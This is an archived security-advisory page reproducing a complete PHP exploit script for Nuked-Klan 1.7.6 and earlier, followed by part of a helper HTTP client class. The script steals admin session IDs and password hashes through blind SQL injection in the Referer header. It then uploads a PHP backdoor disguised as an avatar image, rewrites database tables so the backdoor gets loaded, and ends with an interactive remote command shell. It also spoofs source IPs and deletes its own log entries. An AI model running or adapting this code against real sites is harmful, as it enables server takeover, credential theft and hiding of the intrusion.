Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:19550
HistoryApr 01, 2008 - 12:00 a.m.

Nuked-Klan <= 1.7.6 Multiple Vulnerabilities Exploit

2008-04-0100:00:00
vulners.com
28

<?php

/*

  • Name: Nuked-Klan <= 1.7.6 Multiple Vulnerabilities Exploit
  • Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
  • URL: http://realn.free.fr/releases/46556
  • Date: 04-01-08
  • -> Remote Code Execution
  • -> Remote File Upload
  • -> Admin Hash Extraction
  • Remote Code Exec vulnerability used in
  • this exploit was discovered by DarkFig.
    */

print "\n";
print " Nuked-Klan <= 1.7.6 Multiple Vulnerabilities Exploit\n";
print " by Charles \"real\" F. <charlesfol[at]hotmail.fr>\n\n\n";

if($argc<3)
{
print " usage: ./nk_exploit.php -url <url> [options]\n\n";
print " Options: -mode 0 -> Remote Upload (default)\n";
print " 1 -> Remote Code Execution\n";
print " 2 -> Admin Hash Extraction\n";
print " -admin If you have an admin account.\n";
print " -user If STATS page needs registration,\n";
print " you can set an account.\n";
print " -proxy If you want to use a proxy.\n";
print " -prefix Cookie prefix (default: nuked_).\n";
print " -file If you wanna upload a specific file\n";
print " else it will upload a simple uploader.\n";
print "\n";
print " eg: ./nk_exploit.php -url http://localhost/nk/ -admin real:passw0rd\n";
print " eg: ./nk_exploit.php -url http://localhost/nk/ -file cshell.php -proxy localhost:8118\n\n";
die();
}

$url = getparam("url",1);
$mode = getparam("mode") ? getparam("mode"): 0;
$adm = getparam("admin");
$acc = getparam("user");
$prx = getparam("proxy");

$prefix = getparam("prefix") ? getparam("prefix") : "nuked_";

$file_upload_code = getparam("file") ? file_get_contents(getparam("file")) : '<?php if(isset($_POST[\'upload\'])) { if( !move_uploaded_file($_FILES[\'file\'][\'tmp_name\'], "./".$_FILES[\'file\'][\'name\'])) echo("<center>Error ".$_FILES[\'file\'][\'error\']."</center>");else echo "<center>File uploaded</center>"; } ?><form method="post" enctype="multipart/form-data"><center><input type="file" name="file"><input type="submit" name="upload" value="Upload"></center></form>';;

$date = array(date('Y'),date('m'),date('d'));

$xpl = new phpsploit();
if($prx) $xpl->proxy($prx);

/* Admin account defined /
if($adm)
{
print "[
] Using admin account $adm\n";
list($login,$passwd) = explode(":",$adm);
$xpl->addheader("Referer",$url);
$c = $xpl->post($url."index.php?file=User&{$prefix}nude=index&op=login","pseudo=$login&pass=$passwd&remember_me=ok");
if(preg_match("#{$prefix}sess_id=([a-z0-9]+)#i",$c,$sid) && preg_match("#uid=([a-z0-9]+)#i",$c,$uid))
{
$admin_sid = $sid[1];
$admin_uid = $uid[1];
print " SID -> $admin_sid\n";
print " UID -> $admin_uid\n";
finalattack($admin_sid,$admin_uid);
} else exit("[] Can't log in\n");
}
/
Admin account not defined /
else
{
/
User account defined /
if($acc)
{
print "[
] Using user account $acc\n";
list($login,$passwd) = explode(":",$acc);
$xpl->addheader("Referer",$url);
$c = $xpl->post($url."index.php?file=User&nuked_nude=index&op=login","pseudo=$login&pass=$passwd&remember_me=ok");
if(preg_match("#{$prefix}sess_id=([a-z0-9]+)#i",$c,$sid) && preg_match("#uid=([a-z0-9]+)#i",$c,$uid))
{
# User Cookies
$xpl->addcookie("{$prefix}sess_id",$sid[1]);
$xpl->addcookie("{$prefix}user_id",$uid[1]);
} else exit("[*] Can't log in\n");
}

$queries   = array&#40;&#41;;
$queries[] = array&#40;&quot;     SID&quot;,&quot;SELECT id FROM nuked_sessions WHERE user_id=&#40;SELECT id FROM {$prefix}users WHERE niveau&gt;=9 ORDER BY date LIMIT 0,1&#41; LIMIT 0,1&quot;&#41;;
$queries[] = array&#40;&quot;     UID&quot;,&quot;SELECT id FROM nuked_users WHERE niveau&gt;=9 LIMIT 0,1&quot;&#41;;
$queries[] = array&#40;&quot;   Login&quot;,&quot;SELECT pseudo FROM nuked_users WHERE niveau&gt;=9 LIMIT 0,1&quot;&#41;;
$queries[] = array&#40;&quot;Password&quot;,&quot;SELECT pass FROM nuked_users WHERE niveau&gt;=9 LIMIT 0,1&quot;&#41;;

$xpl-&gt;agent&#40;&quot;Mozilla Firefox&quot;&#41;;
$xpl-&gt;addheader&#40;&quot;X-Forwarded-For&quot;,&quot;127.0.0.1&quot;&#41;;

$ctmp = $xpl-&gt;get&#40;$url.&quot;index.php?file=Stats&amp;page=visits&quot;&#41;;

if&#40;preg_match&#40;&#39;#&lt;a href=&quot;javascript:history.back&#92;&#40;&#92;&#41;&quot;&gt;&lt;b&gt;[^&lt;]+&lt;/b&gt;#i&#39;,$ctmp&#41;&#41; exit&#40;&quot;[*] You don&#39;t have rights to access Stats page.&#92;n&quot;&#41;;
if&#40;preg_match&#40;&#39;#&lt;a href=&quot;index.php&#92;?file=User&amp;amp;op=login_screen&quot;&gt;[^&lt;]+&lt;/a&gt; | &lt;a href=&quot;index.php&#92;?file=User&amp;amp;op=reg_screen&quot;&gt;[^&lt;]+&lt;/a&gt;#i&#39;,$ctmp&#41;&#41; exit&#40;&quot;[*] You must be registered, use -user param.&#92;n&quot;&#41;;
$xpl-&gt;reset&#40;&quot;header&quot;&#41;;
$xpl-&gt;agent&#40;&quot;Mozilla Firefox&quot;&#41;;

attack1&#40;&#41;;
attack2&#40;&#41;;

}

function getparam($param,$opt='')
{
global $argv;
foreach($argv as $value => $key)
{
if($key == '-'.$param) return $argv[$value+1];
}
if($opt) exit("\n-$param parameter required");
else return;
}

/* — Attack #1 ---------------------------------------- */

function attack1()
{
global $queries,$mode;

print &quot;[*] Attack #1&#92;n&quot;;

if&#40;$mode != 2&#41;
{
	print &quot; &quot;.$queries[0][0].&quot; -&gt; &quot;;
	$admin_sid = sql_session_query&#40;$queries[0][1],0&#41;;
	
	if&#40;!$admin_sid&#41; return false;
	
	if&#40;$admin_sid==&quot;&quot;&#41;
	{
		print &quot;&#92;r[*] No session found. Crack following MD5 hash and use -admin param.&#92;n&quot;;
		for&#40;$i=2;$i&lt;4;$i++&#41;
		{
			print &quot; &quot;.$queries[$i][0].&quot; -&gt; &quot;;
			sql_user_query&#40;$queries[$i][1]&#41;;
		}
		exit&#40;&#41;;
	}
	else
	{
		print &quot;&#92;n &quot;.$queries[1][0].&quot; -&gt; &quot;;
		$admin_uid = sql_session_query&#40;$queries[1][1]&#41;;
		finalattack&#40;$admin_sid,$admin_uid&#41;;
	}
}
else
{
		print &quot;&#92;r[*] Getting admin credentials&#92;n&quot;;
		for&#40;$i=2;$i&lt;4;$i++&#41;
		{
			print &quot; &quot;.$queries[$i][0].&quot; -&gt; &quot;;
			$z = sql_user_query&#40;$queries[$i][1]&#41;;
			if&#40;!$z || $z == &quot;&quot;&#41; return false;
		}
		exit&#40;&#41;;
}

}

function attack1_init()
{
global $xpl,$url;

$rnd = rand&#40;100000,999999&#41;;

$xpl-&gt;reset&#40;&quot;header&quot;&#41;;
$xpl-&gt;agent&#40;&quot;Mozilla Firefox&quot;&#41;;
$xpl-&gt;addheader&#40;&quot;X-Forwarded-For&quot;,&quot;255.255.255.255&quot;&#41;;
$xpl-&gt;addheader&#40;&quot;Referer&quot;,&quot;http://g00gle.com&#39;,&#39;1&#39;,&#39;1&#39;,&#39;$rnd&#39;,&#39;1&#39;,&#39;1&#39;&#41; #&quot;&#41;;
$xpl-&gt;get&#40;$url.&quot;index.php&quot;&#41;;

return $rnd;

}

function sql_session_query($query,$z=1)
{
$result = '';
$rnd = attack1_init();
$size = 20;
for($i=1;$i<=$size;$i++)
{
$r = get_ord($query,$i,$rnd);
if(!$r) break;
$result .= chr($r);
print chr($r);
}
if($z==1) print "\n";
return $result;
}

function sql_user_query($query)
{
$result = '';
for($i=1;$i<=50;$i++)
{
$r = get_ord($query,$i,attack1_init());
if(!$r) break;
$result .= chr($r);
print chr($r);
}
print "\n";
return $result;
}

function get_ord($query,$a,$rnd)
{
global $xpl,$url;

$xpl-&gt;reset&#40;&quot;header&quot;&#41;;
$xpl-&gt;agent&#40;&quot;Mozilla Firefox&quot;&#41;;
$xpl-&gt;addheader&#40;&quot;X-Forwarded-For&quot;,&quot;255.255.255.255&quot;&#41;;
$xpl-&gt;addheader&#40;&quot;Referer&quot;,&quot;http://g00gle.com&#39;,&#39;1&#39;,CONCAT&#40;{$a}000,ORD&#40;MID&#40;&#40;$query&#41;,$a,1&#41;&#41;&#41;,&#39;$rnd&#39;,&#39;1&#39;,&#39;1&#39;&#41; #&quot;&#41;;
$content = $xpl-&gt;get&#40;$url.&quot;index.php?file=Stats&amp;page=visits&amp;oyear=$rnd&amp;omonth=1&quot;&#41;;
preg_match&#40;&#39;#&lt;option[^&gt;]*&gt;&#39;.$a.&#39;000&#40;&#92;d+&#41;&lt;/option&gt;[^:]*&lt;/select&gt; /#i&#39;,$content,$res&#41;;

if&#40;!isset&#40;$res[1]&#41; &amp;&amp; $a==1&#41;
{
	print &quot;&#92;r&quot;;
	print &quot;[*] Attack failed.&#92;n&#92;n&quot;;
	return false;
}
if&#40;!isset&#40;$res[1]&#41;&#41; return &quot;&quot;;
return $res[1];

}

/* — Attack #2 ---------------------------------------- */

function attack2()
{
global $queries,$mode,$admin_sid,$admin_uid;

print &quot;[*] Attack #2&#92;n&quot;;

if&#40;$mode != 2&#41;
{
	print &quot; &quot;.$queries[0][0].&quot; -&gt; &quot;;
	$admin_sid = blind&#40;$queries[0][1],20,48,122&#41;;
	
	if&#40;$admin_sid==&quot;&quot;&#41;
	{
		print &quot;&#92;r[*] No session found. Crack following MD5 hash and use -admin param.&#92;n&quot;;
		for&#40;$i=2;$i&lt;4;$i++&#41;
		{
			print &quot; &quot;.$queries[$i][0].&quot; -&gt; &quot;;
			blind&#40;$queries[$i][1],50,48,122&#41;;
			print &quot;&#92;n&quot;;
		}
		exit&#40;&#41;;
	}
	else
	{
		print &quot;&#92;n &quot;.$queries[1][0].&quot; -&gt; &quot;;
		$admin_uid = blind&#40;$queries[1][1],20,48,122&#41;;
		print &quot;&#92;n&quot;;
		finalattack&#40;$admin_sid,$admin_uid&#41;;
	}
}
else
{
		print &quot;&#92;r[*] Getting admin credentials&#92;n&quot;;
		for&#40;$i=2;$i&lt;4;$i++&#41;
		{
			print &quot; &quot;.$queries[$i][0].&quot; -&gt; &quot;;
			blind&#40;$queries[$i][1],50,48,122&#41;;
			print &quot;&#92;n&quot;;
		}
		exit&#40;&#41;;
}

}

function blind($query,$nbchars,$from,$to)
{
global $xpl,$url,$date;

$result = &quot;&quot;;
$current_letter	= 1;

/* let&#39;s test first if there is a value ... */

$ip  =  &quot;82.237.&quot;.rand&#40;1,10&#41;.&quot;.&quot;.rand&#40;1,250&#41;;
$rnd =  rand&#40;100,1000000&#41;;
$q = preg_replace&#40;&quot;#&#40;&#92;w*&#41; FROM #i&quot;,&quot;COUNT&#40;$1&#41; FROM &quot;,$query,1&#41;;
$sql = &quot;http://g00gle$rnd.com&#39; OR &#40;$q&#41;&gt;0 #&quot;;

$xpl-&gt;reset&#40;&quot;header&quot;&#41;;
$xpl-&gt;agent&#40;&quot;Mozilla Firefox&quot;&#41;;
$xpl-&gt;addheader&#40;&quot;X-Forwarded-For&quot;,$ip&#41;;
$xpl-&gt;addheader&#40;&quot;Referer&quot;,&quot;$sql&quot;&#41;;
$c=$xpl-&gt;get&#40;$url.&quot;index.php?file=Stats&amp;nuked_nude=visits&amp;op=view_referer&amp;oyear=$date[0]&amp;omonth=$date[1]&amp;oday=$date[2]&quot;&#41;;
if&#40;!preg_match&#40;&#39;#g00gle&#39;.$rnd.&#39;[^&gt;]+&lt;/a&gt;&lt;/td&gt;[&#92;r&#92;t&#92;n]*&lt;td[^&gt;]*&gt;[1-9]&#92;d* &#92;&#40;&#92;d+&#37;&#92;&#41;&lt;/td&gt;#&#39;,$xpl-&gt;getcontent&#40;&#41;,$matches&#41;&#41; return false;

while&#40;$current_letter&lt;=$nbchars&#41;
{
	$add=$from;
	for&#40;$i=intval&#40;&#40;$to-$from&#41;/2&#41;;$i&gt;1;$i=intval&#40;$i/2&#41;&#41;
	{
		if&#40;get&#40;$query,&quot;&gt;&quot;,$current_letter,$add+$i&#41;&#41; $add+=$i+1;
	}
	
	for&#40;$ord=$add;;$ord++&#41;
	{
		if&#40;get&#40;$query,&quot;=&quot;,$current_letter,$ord&#41;&#41;
		{
			print strtolower&#40;chr&#40;$ord&#41;&#41;;
			$result .= strtolower&#40;chr&#40;$ord&#41;&#41;;
			break;
		}
		elseif&#40;$ord==$add+$i+3&#41; return $result;
	}
	
	$current_letter++;
}

return $result;

}

function get($query,$sign,$d,$f)
{
global $xpl,$url,$date;

while&#40;true&#41;
{
	$ip  =  &quot;82.237.&quot;.rand&#40;1,10&#41;.&quot;.&quot;.rand&#40;1,250&#41;;
	$rnd =  rand&#40;100,1000000&#41;;
	$sql = &quot;http://g00gle$rnd.com&#39; OR ORD&#40;MID&#40;&#40;$query&#41;,$d,1&#41;&#41;$sign$f #&quot;;
	
	$xpl-&gt;reset&#40;&quot;header&quot;&#41;;
	$xpl-&gt;agent&#40;&quot;Mozilla Firefox&quot;&#41;;
	$xpl-&gt;addheader&#40;&quot;X-Forwarded-For&quot;,$ip&#41;;
	$xpl-&gt;addheader&#40;&quot;Referer&quot;,&quot;$sql&quot;&#41;;
	$c=$xpl-&gt;get&#40;$url.&quot;index.php?file=Stats&amp;nuked_nude=visits&amp;op=view_referer&amp;oyear=$date[0]&amp;omonth=$date[1]&amp;oday=$date[2]&quot;&#41;;
	if&#40;preg_match&#40;&#39;#g00gle&#39;.$rnd.&#39;[^&gt;]+&lt;/a&gt;&lt;/td&gt;[&#92;r&#92;t&#92;n]*&lt;td[^&gt;]*&gt;[1-9]&#92;d* &#92;&#40;&#92;d+&#37;&#92;&#41;&lt;/td&gt;#&#39;,$xpl-&gt;getcontent&#40;&#41;,$matches&#41;&#41; return true;
	if&#40;preg_match&#40;&#39;#g00gle&#39;.$rnd.&#39;#&#39;,$xpl-&gt;getcontent&#40;&#41;&#41;&#41; break;
}

return false;

}

function finalattack($admin_sid,$admin_uid)
{
global $url,$xpl,$mode,$prefix,$file_upload_code;

print &quot;&#92;n[*] Admin status confirmed.&#92;n&quot;;

# Admin Cookies
$xpl-&gt;reset&#40;&quot;cookie&quot;&#41;;
$xpl-&gt;addcookie&#40;&quot;{$prefix}sess_id&quot;,$admin_sid&#41;;
$xpl-&gt;addcookie&#40;&quot;{$prefix}user_id&quot;,$admin_uid&#41;;
$xpl-&gt;addcookie&#40;&quot;{$prefix}admin_session&quot;,$admin_uid&#41;;

print &quot;[*] Uploading fake image ... &quot;;

/* Code in the fake avatar */
if&#40;$mode==0&#41;	/* upload code */
{
$c0de =	 &#39;&lt;?php&#39;.&quot;&#92;n&quot;
		.&quot;error_reporting&#40;0&#41;;&quot;
		.&quot;if&#40;isset&#40;&#92;$_SERVER[&#39;HTTP_UPLOAD&#39;]&#41;&#41; { &#92;$f=fopen&#40;&#39;w00t.php&#39;,&#39;w&#39;&#41;;fputs&#40;&#92;$f,&#39;&quot;.preg_replace&#40;&quot;#&#39;#i&quot;,&quot;&#92;&#92;&#39;&quot;,$file_upload_code&#41;.&quot;&#39;&#41;;print &#39;upfiledone&#39;; }&#92;n&quot;
		.&#39;include&#40;&#92;&#39;./Includes/blocks/block_login.php&#92;&#39;&#41;;$blok[type]=&#92;&#39;login&#92;&#39;; ?&gt;&#39;;
}
else		/* shell code */
{
$c0de =	 &#39;&lt;?php&#39;.&quot;&#92;n&quot;
		.&#39;error_reporting&#40;0&#41;;&#39;
		.&#39;if&#40;isset&#40;$_SERVER[HTTP_SHELL]&#41;&#41;&#39;
		.&#39;{print 123456789;eval&#40;$_SERVER[HTTP_SHELL]&#41;;exit&#40;123456789&#41;;}&#39;
		.&#39;else {include&#40;&#92;&#39;./Includes/blocks/block_login.php&#92;&#39;&#41;;$blok[type]=&#92;&#39;login&#92;&#39;;} ?&gt;&#39;;
}

/* This is based on DarkFig&#39;s code &#40;http://mgsdl.free.fr/?1:30&#41; */
/* It was a little changed to permit 2 modes: upload/code exec  */

$phpc = array&#40;
frmdt_url   =&gt; $url.&#39;?file=User&amp;op=update_pref&#39;,
&#39;fichiernom&#39; =&gt; array&#40;frmdt_filename =&gt; &#39;1.jpg&#39;,
frmdt_content =&gt; $c0de&#41;&#41;;

$xpl-&gt;addheader&#40;&#39;Referer&#39;,$url&#41;;
$xpl-&gt;formdata&#40;$phpc&#41;;

$f = fopen&#40;&quot;zzz.jpg&quot;,&quot;w&quot;&#41;;
fputs&#40;$f,$c0de&#41;;
fclose&#40;$f&#41;;

$xpl-&gt;get&#40;$url.&#39;?file=User&amp;op=edit_pref&#39;&#41;;

if&#40;!preg_match&#40;&#39;#&#92;&lt;input name=&#92;&quot;photo&#92;&quot; value=&#92;&quot;&#40;&#92;S+&#41;&#92;&quot;#&#39;,$xpl-&gt;getcontent&#40;&#41;,$match&#41;&#41; exit&#40;&quot;error.&#92;n&quot;&#41;;

print &quot;done.&#92;n&quot;;

print &quot;[*] Processing SQL queries ... &quot;;

$sql   = array&#40;&#41;;
$sql[] = &quot;ALTER TABLE nuked_block CHANGE &#96;type&#96; &#96;type&#96; VARCHAR&#40;60&#41; CHARACTER SET latin1 COLLATE latin1_swedish_ci NOT NULL DEFAULT 0;&quot;;
$sql[] = &quot;UPDATE nuked_block SET type=&quot;.char&#40;&#39;/../../../&#39;.$match[1].&quot;&#92;x00&quot;&#41;.&quot; WHERE bid=1;&quot;;
$sql[] = &quot;DELETE FROM nuked_stats_visitor WHERE referer LIKE 0x25673030676c6525;&quot;; /* added by real to delete our SQL Injection from SQL DB */
$sql[] = &quot;DELETE FROM nuked_nbconnecte;&quot;;

for&#40;$i=0;$i&lt;count&#40;$sql&#41;;$i++&#41;
	$xpl-&gt;post&#40;$url.&#39;?file=Admin&amp;page=mysql&amp;op=upgrade_db&#39;,&#39;upgrade=&#39;.$sql[$i]&#41;;
	
print &quot;done.&#92;n&quot;;

/* Final step: File Upload or Code Execution */
if&#40;$mode==0&#41;	/* Upload */
{
	$xpl-&gt;addheader&#40;&quot;Upload&quot;,&quot;1&quot;&#41;;
	$c = $xpl-&gt;get&#40;$url&#41;;
	if&#40;preg_match&#40;&quot;#upfiledone#i&quot;,$c&#41;&#41; print &quot;[*] File uploaded.&#92;n&#92;n&quot;;
	else exit&#40;&quot;[*] File upload error.&#92;n&quot;&#41;;
	print &quot;[*] &quot;.$url.&quot;w00t.php&#92;n&quot;;
}
else			/* Shell */
{
	print &quot;&#92;n&#92;$shell&gt; &quot;;
	while&#40;!preg_match&#40;&quot;#^&#40;quit|exit&#41;$#&quot;,&#40;$cmd = trim&#40;fgets&#40;STDIN&#41;&#41;&#41;&#41;&#41;
	{
		$xpl-&gt;reset&#40;&#39;header&#39;&#41;;
		$xpl-&gt;addheader&#40;&#39;Shell&#39;,&quot;system&#40;&#39;$cmd&#39;&#41;;&quot;&#41;;
		$xpl-&gt;get&#40;$url&#41;;
		$data = explode&#40;&#39;123456789&#39;,$xpl-&gt;getcontent&#40;&#41;&#41;;
		print $data[1].&quot;&#92;n&#92;$shell&gt; &quot;;
	}
}

/* End of DarkFig based code */

exit&#40;&#41;;

}

function char($data)
{
$char='CHAR(';
for($i=0;$i<strlen($data);$i++)
{
$char .= ord($data[$i]);
if($i != (strlen($data)-1)) $char .= ',';
}
return $char.')';
}

/*
*

  • Copyright (C) darkfig
  • This program is free software; you can redistribute it and/or
  • modify it under the terms of the GNU General Public License
  • as published by the Free Software Foundation; either version 2
  • of the License, or (at your option) any later version.
  • This program is distributed in the hope that it will be useful,
  • but WITHOUT ANY WARRANTY; without even the implied warranty of
  • MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  • GNU General Public License for more details.
  • You should have received a copy of the GNU General Public License
  • along with this program; if not, write to the Free Software
  • Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
  • TITLE: PhpSploit Class
  • REQUIREMENTS: PHP 5 (remove "private", "public" if you have PHP 4)
  • VERSION: 1.2
  • LICENSE: GNU General Public License
  • ORIGINAL URL: http://www.acid-root.new.fr/tools/03061230.txt
  • FILENAME: phpsploitclass.php
  • CONTACT: [email protected] (french / english)
  • GREETZ: Sparah, Ddx39
  • DESCRIPTION:
  • The phpsploit is a class implementing a web user agent.
  • You can add cookies, headers, use a proxy server with (or without) a
  • basic authentification. It supports the GET and the POST method. It can
  • also be used like a browser with the cookiejar() function (which allow
  • a server to add several cookies for the next requests) and the
  • allowredirection() function (which allow the script to follow all
  • redirections sent by the server). It can return the content (or the
  • headers) of the request. Others useful functions can be used for debugging.
  • A manual is actually in development but to know how to use it, you can
  • read the comments.
  • CHANGELOG:
  • [2007-01-24] (1.2)
    • Bug #2 fixed: Problem concerning the getcookie() function ((|;))
    • New: multipart/form-data enctype is now supported
  • [2006-12-31] (1.1)
    • Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
    • New: You can now call the getheader() / getcontent() function without parameters
  • [2006-12-30] (1.0)
    • First version

*/

class phpsploit {

/**
 * This function is called by the get&#40;&#41;/post&#40;&#41; functions.
 * You don&#39;t have to call it, this is the main function.
 *
 * @return $server_response
 */
private function sock&#40;&#41;
{
	if&#40;!empty&#40;$this-&gt;proxyhost&#41; &amp;&amp; !empty&#40;$this-&gt;proxyport&#41;&#41; $socket = fsockopen&#40;$this-&gt;proxyhost,$this-&gt;proxyport&#41;;
	else $socket = fsockopen&#40;$this-&gt;host,$this-&gt;port&#41;;
	
	if&#40;!$socket&#41; die&#40;&quot;Error: The host doesn&#39;t exist&quot;&#41;;
	
	if&#40;$this-&gt;method===&quot;get&quot;&#41; $this-&gt;packet = &quot;GET &quot;.$this-&gt;url.&quot; HTTP/1.1&#92;r&#92;n&quot;;
	elseif&#40;$this-&gt;method===&quot;post&quot; or $this-&gt;method===&quot;formdata&quot;&#41; $this-&gt;packet = &quot;POST &quot;.$this-&gt;url. &quot; HTTP/1.1&#92;r&#92;n&quot;;
	else die&#40;&quot;Error: Invalid method&quot;&#41;;
	
	if&#40;!empty&#40;$this-&gt;proxyuser&#41;&#41; $this-&gt;packet .= &quot;Proxy-Authorization: Basic &quot;.base64_encode&#40;$this-&gt;proxyuser.&quot;:&quot;.$this-&gt;proxypass&#41;.&quot;&#92;r&#92;n&quot;;
	$this-&gt;packet .= &quot;Host: &quot;.$this-&gt;host.&quot;&#92;r&#92;n&quot;;
	
	if&#40;!empty&#40;$this-&gt;agent&#41;&#41;  $this-&gt;packet .= &quot;User-Agent: &quot;.$this-&gt;agent.&quot;&#92;r&#92;n&quot;;
	if&#40;!empty&#40;$this-&gt;header&#41;&#41; $this-&gt;packet .= $this-&gt;header.&quot;&#92;r&#92;n&quot;;
	if&#40;!empty&#40;$this-&gt;cookie&#41;&#41; $this-&gt;packet .= &quot;Cookie: &quot;.$this-&gt;cookie.&quot;&#92;r&#92;n&quot;;
	
	$this-&gt;packet .= &quot;Connection: Close&#92;r&#92;n&quot;;
	if&#40;$this-&gt;method===&quot;post&quot;&#41;
	{
		$this-&gt;packet .= &quot;Content-Type: application/x-www-form-urlencoded&#92;r&#92;n&quot;;
		$this-&gt;packet .= &quot;Content-Length: &quot;.strlen&#40;$this-&gt;data&#41;.&quot;&#92;r&#92;n&#92;r&#92;n&quot;;
		$this-&gt;packet .= $this-&gt;data.&quot;&#92;r&#92;n&quot;;
	}
	elseif&#40;$this-&gt;method===&quot;formdata&quot;&#41;
	{
		$this-&gt;packet .= &quot;Content-Type: multipart/form-data; boundary=---------------------------&quot;.$this-&gt;boundary.&quot;&#92;r&#92;n&quot;;
		$this-&gt;packet .= &quot;Content-Length: &quot;.strlen&#40;$this-&gt;data&#41;.&quot;&#92;r&#92;n&#92;r&#92;n&quot;;
		$this-&gt;packet .= $this-&gt;data;
	}
	$this-&gt;packet .= &quot;&#92;r&#92;n&quot;;
	$this-&gt;recv = &#39;&#39;;
	
	fputs&#40;$socket,$this-&gt;packet&#41;;
	while&#40;!feof&#40;$socket&#41;&#41; $this-&gt;recv .= fgets&#40;$socket&#41;;
	fclose&#40;$socket&#41;;
	
	if&#40;$this-&gt;cookiejar&#41; $this-&gt;cookiejar&#40;$this-&gt;getheader&#40;$this-&gt;recv&#41;&#41;;
	if&#40;$this-&gt;allowredirection&#41; return $this-&gt;allowredirection&#40;$this-&gt;recv&#41;;
	else return $this-&gt;recv;
}


/**
 * This function allows you to add several cookie in the
 * request. Several methods are supported:
 * 
 * $this-&gt;addcookie&#40;&quot;name&quot;,&quot;value&quot;&#41;;
 * or
 * $this-&gt;addcookie&#40;&quot;name=newvalue&quot;&#41;;
 * or
 * $this-&gt;addcookie&#40;&quot;othername=overvalue; xx=zz; y=u&quot;&#41;;
 * 
 * @param string $cookiename
 * @param string $cookievalue
 * 
 */
public function addcookie&#40;$cookn,$cookv=&#39;&#39;&#41;
{
	// $this-&gt;addcookie&#40;&quot;name&quot;,&quot;value&quot;&#41;; work avec replace
	if&#40;!empty&#40;$cookv&#41;&#41;
	{
		if&#40;$cookv === &quot;deleted&quot;&#41; $cookv=&#39;&#39;; // cookiejar&#40;1&#41; &amp;&amp; Set-Cookie: name=delete
		if&#40;!empty&#40;$this-&gt;cookie&#41;&#41;
		{
		    if&#40;preg_match&#40;&quot;/$cookn=/&quot;,$this-&gt;cookie&#41;&#41;
		    {
		    	$this-&gt;cookie = preg_replace&#40;&quot;/$cookn=&#40;&#92;S*&#41;;/&quot;,&quot;$cookn=$cookv;&quot;,$this-&gt;cookie&#41;;
		    }
		    else
		    {
		    	$this-&gt;cookie .= &quot; &quot;.$cookn.&quot;=&quot;.$cookv.&quot;;&quot;; // &quot; &quot;.
		    }
		}
		else
		{
			$this-&gt;cookie = $cookn.&quot;=&quot;.$cookv.&quot;;&quot;;
		}
	}
	// $this-&gt;addcookie&#40;&quot;name=value; othername=othervalue&quot;&#41;;
	else
	{
    	 if&#40;!empty&#40;$this-&gt;cookie&#41;&#41;
    	 {
    	 	$cookn = preg_replace&#40;&quot;/&#40;.*&#41;;$/&quot;,&quot;$1&quot;,$cookn&#41;;
    	 	$cookarr = explode&#40;&quot;;&quot;,str_replace&#40;&quot; &quot;, &quot;&quot;,$cookn&#41;&#41;;
    	 	for&#40;$i=0;$i&lt;count&#40;$cookarr&#41;;$i++&#41;
    	 	{
    	 		preg_match&#40;&quot;/&#40;&#92;S*&#41;=&#40;&#92;S*&#41;/&quot;,$cookarr[$i],$matches&#41;;
    	 		$cookn = $matches[1];
    	 		$cookv = $matches[2];
    	 		$this-&gt;addcookie&#40;$cookn,$cookv&#41;;
    	 	}
    	 }
		 else
		 {
		 	$cookn = &#40;&#40;substr&#40;$cookn,&#40;strlen&#40;$cookn&#41;-1&#41;,1&#41;&#41;===&quot;;&quot;&#41; ? $cookn : $cookn.&quot;;&quot;;
		 	$this-&gt;cookie = $cookn;			
		 }
	}
}


/**
 * This function allows you to add several headers in the
 * request. Several methods are supported:
 *
 * $this-&gt;addheader&#40;&quot;headername&quot;,&quot;headervalue&quot;&#41;;
 * or
 * $this-&gt;addheader&#40;&quot;headername: headervalue&quot;&#41;;
 *
 * @param string $headername
 * @param string $headervalue
 */
public function addheader&#40;$headern,$headervalue=&#39;&#39;&#41;
{
	// $this-&gt;addheader&#40;&quot;name&quot;,&quot;value&quot;&#41;;
	if&#40;!empty&#40;$headervalue&#41;&#41;
	{
		if&#40;!empty&#40;$this-&gt;header&#41;&#41;
		{
			if&#40;preg_match&#40;&quot;/$headern:/&quot;,$this-&gt;header&#41;&#41;
			{
				$this-&gt;header = preg_replace&#40;&quot;/$headern: &#40;&#92;S*&#41;/&quot;,&quot;$headern: $headervalue&quot;,$this-&gt;header&#41;;
			}
			else
			{
				$this-&gt;header .= &quot;&#92;r&#92;n&quot;.$headern.&quot;: &quot;.$headervalue;
			}
		}
		else
		{
			$this-&gt;header=$headern.&quot;: &quot;.$headervalue;
		}
	}
	// $this-&gt;addheader&#40;&quot;name: value&quot;&#41;;
	else 
	{
		if&#40;!empty&#40;$this-&gt;header&#41;&#41;
		{
			$headarr = explode&#40;&quot;: &quot;,$headern&#41;;
			$headern = $headarr[0];
			$headerv = $headarr[1];
			$this-&gt;addheader&#40;$headern,$headerv&#41;;
		}
		else
		{
			$this-&gt;header=$headern;
		}
	}
}


/**
 * This function allows you to use an http proxy server.
 * Several methods are supported:
 * 
 * $this-&gt;proxy&#40;&quot;proxyip&quot;,&quot;8118&quot;&#41;;
 * or
 * $this-&gt;proxy&#40;&quot;proxyip:8118&quot;&#41;
 *
 * @param string $proxyhost
 * @param integer $proxyport
 */
public function proxy&#40;$proxy,$proxyp=&#39;&#39;&#41;
{
	// $this-&gt;proxy&#40;&quot;localhost:8118&quot;&#41;;
	if&#40;empty&#40;$proxyp&#41;&#41;
	{
		preg_match&#40;&quot;/^&#40;&#92;S*&#41;:&#40;&#92;d+&#41;$/&quot;,$proxy,$proxarr&#41;;
		$proxh = $proxarr[1];
		$proxp = $proxarr[2];
		$this-&gt;proxyhost=$proxh;
		$this-&gt;proxyport=$proxp;
	}
	// $this-&gt;proxy&#40;&quot;localhost&quot;,8118&#41;;
	else 
	{
		$this-&gt;proxyhost=$proxy;
		$this-&gt;proxyport=intval&#40;$proxyp&#41;;
	}
	if&#40;$this-&gt;proxyport &gt; 65535&#41; die&#40;&quot;Error: Invalid port number&quot;&#41;;
}


/**
 * This function allows you to use an http proxy server
 * which requires a basic authentification. Several
 * methods are supported:
 * 
 * $this-&gt;proxyauth&#40;&quot;darkfig&quot;,&quot;dapasswd&quot;&#41;;
 * or
 * $this-&gt;proxyauth&#40;&quot;darkfig:dapasswd&quot;&#41;;
 *
 * @param string $proxyuser
 * @param string $proxypass
 */
